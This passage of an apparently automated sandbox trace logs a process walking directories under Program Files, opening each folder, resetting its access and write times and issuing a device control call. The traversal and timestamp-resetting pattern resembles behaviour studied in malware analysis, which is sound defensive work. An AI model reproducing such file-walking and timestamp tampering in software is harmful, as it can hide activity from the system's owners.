dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0253.796] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0253.796] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0253.796] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm\\_platform_specific\\win_x64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0253.797] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0253.797] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0253.803] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\setupmetrics"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0253.803] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0253.803] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0253.804] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\CrashReports" (normalized: "c:\\program files (x86)\\google\\crashreports"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0253.804] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0253.804] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0253.805] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer" (normalized: "c:\\program files (x86)\\internet explorer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0253.805] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0253.805] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0253.805] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US" (normalized: "c:\\program files (x86)\\internet explorer\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0253.805] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0253.805] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0253.837] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP" (normalized: "c:\\program files (x86)\\internet explorer\\signup"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0253.837] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0253.837] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0253.888] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java" (normalized: "c:\\program files (x86)\\java"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0253.888] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0253.888] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0253.889] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7" (normalized: "c:\\program files (x86)\\java\\jre7"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0253.889] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0253.889] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0253.948] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin" (normalized: "c:\\program files (x86)\\java\\jre7\\bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0253.948] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0253.948] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0254.152] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0254.152] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0254.153] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0254.154] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\dtplugin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0254.154] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0254.154] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0254.155] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\plugin2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0254.155] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0254.155] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0254.156] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib" (normalized: "c:\\program files (x86)\\java\\jre7\\lib"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0254.156] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0254.156] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0254.159] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\applet"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0254.159] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0254.159] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0254.160] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0254.160] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0254.160] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0254.161] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0254.161] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0254.161] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0254.164] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\jqs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0254.164] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0254.164] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0254.165] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0254.165] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0254.165] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0254.168] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0254.168] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0254.169] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0254.171] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\i386"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0254.172] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0254.172] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0254.173] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0254.173] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0254.173] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0254.173] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0254.173] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0254.173] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0254.179] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0254.179] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0254.179] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0254.180] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0254.180] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0254.180] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0254.183] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0254.183] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0254.183] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0254.186] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0254.187] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0254.187] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0254.190] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0254.190] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0254.190] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0254.194] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0254.195] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0254.195] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0254.199] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0254.200] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0254.200] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0254.202] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\indiana"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0254.203] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0254.203] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0254.206] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\kentucky"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0254.206] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0254.206] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0254.207] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\North_Dakota" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\north_dakota"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0254.207] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0254.207] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0254.208] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0254.208] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0254.208] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0254.227] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0254.228] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0254.228] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, 